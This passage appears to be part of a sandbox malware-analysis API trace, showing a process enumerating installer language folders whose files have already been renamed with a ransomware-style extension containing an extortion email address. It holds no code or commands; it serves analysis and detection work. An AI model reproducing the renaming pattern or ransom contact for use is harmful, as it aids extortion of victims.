ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x333c175d, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3345a0b1, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x14516, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.163] FindNextFileW (in: hFindFile=0x6eb870, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31672f7c, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31672f7c, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31794acf, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.163] FindNextFileW (in: hFindFile=0x6eb870, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31672f7c, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31672f7c, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31794acf, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.163] FindClose (in: hFindFile=0x6eb870 | out: hFindFile=0x6eb870) returned 1 [0242.164] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.164] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0242.164] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec1f0 [0242.167] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.167] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x334802c1, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x334802c1, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3353ee61, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.167] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x334a6498, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x334a6498, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x33623d35, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.167] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x317bad5b, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x317bad5b, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31916819, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.167] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x317bad5b, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x317bad5b, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31916819, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.168] FindClose (in: hFindFile=0x6ec1f0 | out: hFindFile=0x6ec1f0) returned 1 [0242.168] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.169] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0242.169] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6eb8b0 [0242.170] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.171] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3353ee61, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3353ee61, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x336701c9, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.171] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3358b47f, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3358b47f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x336701c9, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.171] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x317bad5b, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x317bad5b, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x318ec079, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.171] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x317bad5b, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x317bad5b, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x318ec079, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.171] FindClose (in: hFindFile=0x6eb8b0 | out: hFindFile=0x6eb8b0) returned 1 [0242.172] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.172] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0242.172] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6eb730 [0242.175] FindNextFileW (in: hFindFile=0x6eb730, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.175] FindNextFileW (in: hFindFile=0x6eb730, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x337eda58, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x337eda58, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x339dd814, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.175] FindNextFileW (in: hFindFile=0x6eb730, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x33813ac8, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x33813ac8, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x33b0e998, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x139b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.175] FindNextFileW (in: hFindFile=0x6eb730, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x327f8d0f, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x327f8d0f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x328916a9, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.175] FindNextFileW (in: hFindFile=0x6eb730, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x327f8d0f, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x327f8d0f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x328916a9, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.175] FindClose (in: hFindFile=0x6eb730 | out: hFindFile=0x6eb730) returned 1 [0242.176] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.176] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0242.176] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebeb0 [0242.178] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.180] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3378c8e7, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3378c8e7, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x338ac4b4, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.180] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x337a14f4, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x337a14f4, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x338861a0, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x10b86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.180] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x319385a7, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x319385a7, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x32903e71, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.180] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x319385a7, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x319385a7, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x32903e71, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.180] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0242.181] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.181] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0242.181] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec070 [0242.182] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.182] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34877f06, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34877f06, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34a1ba76, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x3274, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.183] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3457cecc, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3457cecc, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34662087, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xffd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.183] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31a8fb46, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31a8fb46, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x32d7c5c9, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.183] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31a8fb46, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31a8fb46, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x32d7c5c9, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.183] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0242.184] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.184] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0242.184] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebef0 [0242.185] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.185] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x343b327a, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x343b327a, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3450a7bb, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.185] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x343ff753, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x343ff753, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x344e46b0, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x13816, dwReserved0=0x0, dwReserved1=0x0, 